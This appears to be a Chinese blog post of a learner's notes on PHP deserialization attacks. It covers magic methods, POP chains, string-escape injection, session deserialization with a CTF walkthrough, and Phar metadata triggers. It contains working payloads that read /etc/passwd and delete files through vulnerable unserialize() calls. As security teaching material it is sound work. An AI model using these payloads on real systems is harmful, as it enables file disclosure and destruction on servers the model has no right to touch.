PHP反序列化

之前一直没有认真学,最近认真学了一下才意识到反序列化的强悍之处

参考文献:PHP反序列化从初级到高级利用篇 - fish_pompom - 博客园

一、什么是 PHP 反序列化?

在 PHP 里,序列化 是把一个对象或数组转换成字符串的过程(比如保存到文件或传输到网络),而反序列化就是把这个字符串还原成原来的变量(对象/数组)。

用 PHP 的两个函数表示就是:

复制代码
$ser = serialize($obj);     // 序列化
$unser = unserialize($ser); // 反序列化

二、为什么反序列化会存在漏洞喵?

因为 unserialize() 在反序列化对象时,会自动调用一些类里面的特殊方法,比如:

  • __wakeup():反序列化时自动调用
  • __destruct():对象被销毁时自动调用
  • __toString():对象被当成字符串使用时调用
  • __call():调用不存在方法时触发
  • __invoke():对象被当函数调用时触发

如果这些方法里面有可以被控制的敏感操作(比如文件读写、命令执行等),就可能被利用形成漏洞

三、反序列化的经典利用流程喵!

我们以一个例子说明:

复制代码
<?php
class Cat {
    public $name;
    public $file;

    function __destruct() {
        echo file_get_contents($this->file);
    }
}

$payload = $_GET['data'];
unserialize($payload);

攻击流程:

  1. 攻击者构造序列化数据:

    exploit = serialize(new Cat()); // 然后手动设置属性 exploit = 'O:3:"Cat":2:{s:4:"name";s:3:"nya";s:4:"file";s:8:"/etc/passwd";}';

  2. 将 payload 传给程序:

http://target.com/vuln.php?data=O:3:"Cat":2:{s:4:"name";s:3:"nya";s:4:"file";s:8:"/etc/passwd";}

  1. unserialize() 还原为 Cat 对象,PHP 自动在脚本结束时调用 __destruct(),于是读取并输出了 /etc/passwd

需要具备反序列化漏洞的前提:

复制代码
必须有 unserailize() 函数

unserailize() 函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能需要绕过一些魔法函数

四、PHP的魔法方法

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 常见的魔法方法如下:

复制代码
__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

这些魔术方法是重点,构造pop链时要用

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

(2) __wakeup() :unserialize()时会自动调用

(3) __destruct():当对象被销毁时会自动调用。

(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

(5) __get() :当从不可访问的属性读取数据

(6) __call(): 在对象上下文中调用不可访问的方法时触发

其中特别说明一下第四点:

这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

复制代码
(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象,如果只能局限于当前类,那我们的攻击面也太狭小了,这个类不调用危险的方法我们就没法发起攻击。

但是我们又知道,你反序列化了其他的类对象以后我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但是没关系,因为我们有魔法方法。

魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。

五、pop链攻击

模拟场景:

我们有三个类:

复制代码
class FileDeleter {
    public $filename;

    function __destruct() {
        unlink($this->filename); // 删除文件
    }
}

class User {
    public $log;

    function __construct() {
        $this->log = new FileDeleter();
    }
}

class Logger {
    public $filename;

    function __toString() {
        return $this->filename;
    }
}

假设程序逻辑是这样的:

复制代码
$input = $_GET['data'];
unserialize($input);

利用思路:

  1. 构造一个 User 对象;
  2. User->log 变成 Logger 对象;
  3. Logger->__toString() 返回攻击者控制的 filename
  4. 最终 FileDeleter->__destruct() 里调用了 unlink($this->filename),执行了删除文件的动作

Payload 构造如下:

复制代码
<?php

class FileDeleter {
    public $filename;
}

class User {
    public $log;
}

class Logger {
    public $filename;
}

// 构造 POP 链结构
$logger = new Logger();
$logger->filename = "/tmp/hack.txt";

$deleter = new FileDeleter();
$deleter->filename = $logger;

$user = new User();
$user->log = $deleter;

// 输出 payload
echo serialize($user);

输出的就是 POP 链 payload:

复制代码
O:4:"User":1:{s:3:"log";O:12:"FileDeleter":1:{s:8:"filename";O:6:"Logger":1:{s:8:"filename";s:13:"/tmp/hack.txt";}}}

当反序列化这个 payload 时:

  • 调用了 User->__destruct()(PHP 自动触发)
  • FileDeleter->__destruct() 被调用
  • unlink($logger),会隐式调用 Logger->__toString()
  • → 返回 "/tmp/hack.txt",删除成功!

常见 POP 链技巧

|---------|---------------------------------------------------------|
| 技巧 | 描述 |
| 控制属性 | 控制对象内部属性,比如 $this->file$this->cmd 等 |
| 利用魔术方法 | 构造执行流,比如 __destruct__call__toString |
| 利用框架类 | 利用已有框架(Laravel、ThinkPHP、Yii)中的类构造 POP 链 |
| 利用反射 | 一些类会用 ReflectionClass 动态执行函数,也可用于构造链 |
| 自动注册类加载 | 某些类在 __autoload()spl_autoload_register() 中加载也可以构链 |

六、反序列化中的"字符串逃逸"

在 PHP 中,**serialize()**序列化字符串时,会记录字符串的长度,格式是:

复制代码
s:<长度>:"<内容>";

举个栗子:

复制代码
serialize("nyanya");

输出:

复制代码
s:6:"nyanya";

如果攻击者想手动构造 payload,而他填入的字符串长度和实际内容不一致 ,就可能造成解析错误,甚至出现解析偏移逃逸注入等情况。

举个简单的例子:

复制代码
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hake",$name);
    return $name;

这里加入了对flag和php的过滤,会将这两个字符串替换为hake,我们注意到php和hake字符数量不同,所以就有可能有字符串逃逸漏洞

例如这个题目,这里的要求是让pass=escaping就可以输出flag,但是正常构造的话,我们传入的payload是不会改变pass的值的,pass=daydream,这时候就要用到字符串逃逸,将我们真正要传入的内容通过字符串增多的机制挤到外面,例如:

复制代码
user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

这里我们原本要传入的反序列化字符串有多长就在前面加多少个php,如图

这样就达成了字符串逃逸,将pass=escaping传入了

这里还有另一种字符串逃逸,会在下面那道[安洵杯 2019]easy_serialize_php的地方讲解

七、Session 反序列化

PHP 默认使用 serialize() 来保存 session 数据,当你写入 session 时,其实 PHP 是把它序列化后存到硬盘上 (通常在 /tmp/sess_XXXXXX 这种文件),然后你访问的时候再 unserialize() 加载回来。

所以只要攻击者能控制 session 内容,就可能造成 反序列化漏洞

存在漏洞的前提:

  1. 程序使用了 $_SESSION 存储对象或用户可控数据
  2. 攻击者能控制 session 数据(通过 session_id()session.auto_startsession.save_path 配合文件包含等)
  3. 对象存在魔术方法(__destruct, __wakeup, __toString 等)可以被利用

例如这道题:

[安洵杯 2019]easy_serialize_php

复制代码
<?php

  $function = @$_GET['f'];

function filter($img){
  $filter_arr = array('php','flag','php5','php4','fl1g');
  $filter = '/'.implode('|',$filter_arr).'/i';
  return preg_replace($filter,'',$img);
}


if($_SESSION){
  unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
  echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
  $_SESSION['img'] = base64_encode('guest_img.png');
}else{
  $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
  highlight_file('index.php');
}else if($function == 'phpinfo'){
  eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
  $userinfo = unserialize($serialize_info);
  echo file_get_contents(base64_decode($userinfo['img']));
}

也是比较良心的给出了源码,这里经过审计,我们发现大概是可以通过更改session的内容进行反序列化

首先是在php文件中找到dog_f1ag.php文件,猜测这个文件中存有flag,首先直接构造访问肯定是不行的,我们尝试一下字符串逃逸

post传参:

_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

结果a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},这里就造成img不成为一个键,也就无法进行加密

过滤掉flag有a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}

使得绕过;s:51:""到达下一个分号,这时img成功逃逸出来,接下来的解题步骤就不细说了

八、Phar反序列化

什么是 Phar?

Phar(PHP Archive)是一种压缩包格式 ,允许 PHP 把一堆文件打包成一个 .phar 文件,像 .zip 一样可以解压,也可以当成普通文件一样 include、访问。

关键点在于:Phar 归档中可以携带元数据(metadata),这个 metadata 是以 PHP 序列化格式保存

phar文件结构

1. a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3. the file contents

被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾

漏洞产生的前提

触发点

PHP 有些函数在处理文件时,如果文件是 Phar 格式,就会自动触发反序列化解析 metadata,比如这些:

常见文件操作函数

|-------------------------|-----------------------------------|
| 函数名 | 说明 |
| file_exists() | 检查文件是否存在,会触发反序列化 |
| is_file() | 判断是不是文件,同样触发 |
| is_dir() | 判断是否是目录,也会触发 |
| file_get_contents() | 读取文件内容,会解析 metadata |
| file_put_contents() | 写入文件时也可能触发(读取目标路径时) |
| copy() | 拷贝文件(从 Phar 读入源路径时触发) |
| unlink() | 删除文件,也会触发 metadata |
| rename() | 改名时如果涉及 phar:// 路径也触发 |
| fopen() | 打开文件流,访问 phar:// 会触发 |
| readfile() | 直接输出文件内容,同样触发 |

图片类函数(处理 EXIF 时解析 phar)

|-----------------------------|---------------------------------|
| 函数名 | 说明 |
| exif_read_data() | 读取图片 EXIF,会触发 phar metadata |
| exif_thumbnail() | 读取缩略图时也会触发 |
| getimagesize() | 获取图片大小也会触发 |
| imagecreatefromstring() | 创建图像资源时触发 |
| imagecreatefromjpeg() | 同上 |
| imagecreatefrompng() | 同上 |
| imagecreatefromgif() | 同上 |

Phar 函数自身

|-----------------------------|----------------------------------|
| 函数名 | 说明 |
| Phar::__construct() | 加载 Phar 文件就触发反序列化 |
| PharData::__construct() | 一样 |
| Phar::loadPhar() | 显式加载 Phar 文件时也会触发 |
| Phar::mapPhar() | 映射 Phar 到虚拟路径,也可能触发 metadata |

利用链构造

只要你能让程序访问一个 phar://xxx****路径,并且程序有敏感类(如含有 __destruct**、** __wakeup**、** __toString**),你就可以构造反序列化链条。**

光是理论还是太难以理解了,让我们直接上题吧

[BUUCTF题解][SWPUCTF 2018]SimplePHP - Article_kelp - 博客园

大概是搞懂原理了,但是自己做还是做不出来,我还是继续沉淀吧

相关推荐
JaguarJack16 小时前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo16 小时前
FrankenPHP 原生支持 Windows 了
后端·php
JaguarJack2 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo2 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack2 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay3 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954483 天前
CTF 伪协议
php
BingoGo6 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack6 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo7 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php